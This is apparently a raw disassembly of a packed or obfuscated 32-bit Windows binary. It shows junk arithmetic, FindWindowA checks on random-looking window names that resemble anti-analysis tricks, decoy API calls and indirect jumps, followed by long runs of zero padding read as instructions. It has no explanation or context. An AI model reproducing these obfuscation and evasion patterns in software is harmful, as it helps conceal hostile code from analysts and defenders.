or dword [0x40501f], 6
adc eax, edi
xchg dword [ebp - 4], ecx
add ecx, ebx
or dword [0x4050c9], 0xbd
and ecx, 0x6d
add byte [0x4050a3], ah
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
sub byte [0x4050f5], 0x23
add ebx, eax
and dword [0x405161], eax
sub dword [0x4051af], edi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405093]
lea eax, [0x4034c0]
call eax
adc edi, ebx
adc byte [0x40503f], cl
or dword [0x40512c], edi
add ebx, 0xffffff9c
sub ecx, 0xffffffe0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x3efe03b3], al
sub edi, dword [0x40515f]
adc dword [0x4050c9], 0xaa
xchg dword [ebp - 4], edx
adc edx, dword [0x405083]
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4034c0
sbb esi, esi
sub dword [0x40512d], eax
adc dword [0x40506f], 0xbe
or ebx, 0xb
sub ebx, esi
lea eax, [0x4034c0]
call eax
xchg dword [ebp - 4], ecx
adc ecx, dword [0x4050e6]
add ecx, 0x39
adc eax, eax
xchg dword [ebp - 4], edx
adc edx, dword [0x405088]
xor ebx, 0x47
add byte [ebx - 0x20fe6f35], al
or ebx, 0xffffff90
add edi, ebx
add dword [0x405060], edi
adc edi, edi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405188]
sub dword [0x405134], edi
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x4026bd
adc dword [0x4050f8], 0x46
adc dword [0x405009], edi
sbb eax, ebx
adc dword [0x4050ab], 0x53
xchg dword [ebp - 4], edx
add edx, edi
add dword [0x405054], edi
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x4026bd
sub byte [0x405014], 2
and dword [0x40512f], 1
add esi, 0x78
add edi, esi
xchg dword [ebp - 4], ecx
add ecx, esi
lea edx, [0x4026bd]
call edx
xor dword [0x405043], eax
adc dword [0x405077], 0x94
sub eax, edi
adc dword [0x405127], 0xc0
xor edi, edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dword [0x4051a7], 0xe
adc ebx, dword [0x405103]
xchg dword [ebp - 4], edx
adc edx, dword [0x40504b]
add esi, 0x15
xor dword [0x4050a6], 0x98
adc eax, dword [0x40506e]
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x403679
add dword [0x4050a6], edi
sub ebx, 0x3f
adc edi, edi
adc bh, byte [0x405040]
xchg byte [ebp - 4], dh
add dh, 0x64
xor ebx, edi
lea edi, [0x402990]
call edi
adc ah, byte [0x405062]
adc bh, byte [0x405173]
xchg dword [ebp - 4], ecx
add ecx, edi
and esi, 0xffffffa2
xor ecx, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x4050690d], al
add bh, dh
add byte [eax], al
add byte [ecx], al
sbb eax, 0x4051e0
adc dword [0x405169], 0xb1
mov dword [0x405054], 0x33
and dword [0x405022], edi
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
xchg dword [ebp - 4], edx
add edx, 0x31
xor dword [0x40511d], 0xfe
xor dword [0x405174], edx
adc edx, dword [0x4051ce]
add edi, 0xffffffdf
sub byte [0x40511b], 0x92
lea eax, [0x402921]
call eax
adc esi, ebx
sbb edi, edi
sub ebx, dword [0x40505b]
sub esi, 0x5a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x3e7c03b3], al
mov dword [eax], ebp
sub eax, 0x40517d
add esi, esi
adc esi, 0x3d
xchg byte [ebp - 4], dh
add dh, 0x56
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
or dword [0x405104], 0x19
adc bl, byte [0x405065]
add dword [0x405024], eax
adc edi, dword [0x4051ef]
sbb dword [0x4050b4], esi
add ebx, ebx
lea esi, [0x402e27]
call esi
adc eax, 0x3a
xor esi, ebx
xchg dword [ebp - 4], ecx
add ecx, 0xffffffca
adc esi, dword [0x4051b8]
xchg dword [ebp - 4], edx
adc edx, dword [0x40503d]
or dword [0x4050ad], eax
add byte [eax], al
xor ebx, edi
sub bl, 0x54
adc dword [0x405148], 2
sbb ah, 0x2a
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4034c0
adc bl, byte [0x405123]
and dword [0x405085], edi
adc eax, dword [0x4050e1]
adc ebx, dword [0x40502a]
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x4034c0
add byte [0x405031], al
sub ebx, dword [0x405086]
or ah, 0x65
add esi, ebx
xor edi, 0x52
sub esi, edi
lea eax, [0x4034c0]
call eax
and dword [0x405194], 0x2b
adc dword [0x4050b9], 0x4f
xchg dword [ebp - 4], edx
add edx, esi
adc edi, dword [0x405196]
adc ebx, dword [0x405161]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and edi, 0xffffffb6
sub dword [0x405050], edi
xchg dword [ebp - 4], ecx
add ecx, 0xffffff86
sbb edi, 0xf
or dword [0x405053], ecx
adc bl, byte [0x405016]
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
adc ebx, dword [0x405199]
sbb dword [0x405025], ebx
and dword [0x405052], ebx
adc bl, byte [0x405062]
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x402d78
sbb eax, 0x2b
xchg dword [ebp - 4], edx
adc edx, dword [0x405163]
and ebx, 0xffffffbf
add eax, 0x22
xor dword [0x4050f7], 0xb5
lea edx, [0x402d78]
call edx
adc dword [0x40500a], 0xdf
xor eax, ebx
adc dword [0x40504b], 0xf6
add edx, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
add eax, 0x405076
adc eax, dword [0x405076]
add ebx, edi
xchg dword [ebp - 4], edx
add edx, esi
sbb ebx, edi
xor ah, dl
lea ecx, [0x4058d4]
push dword [ecx]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
sbb esi, 0x51
sbb edi, 0x29
and esi, 0x62
add dword [0x4050d1], edi
or eax, dword [0x405016]
sub byte [0x40504b], 0x76
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
xor eax, eax
and eax, 0xffffffe8
sub byte [0x4050e0], 0xf2
adc dword [0x4051f4], 0xd2
sub dword [0x40506c], ebx
lea ebx, [0x4034c0]
call ebx
add ebx, eax
mov dword [0x405093], 0x12
xchg byte [ebp - 4], cl
add cl, bh
add esi, 0xffffffdf
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al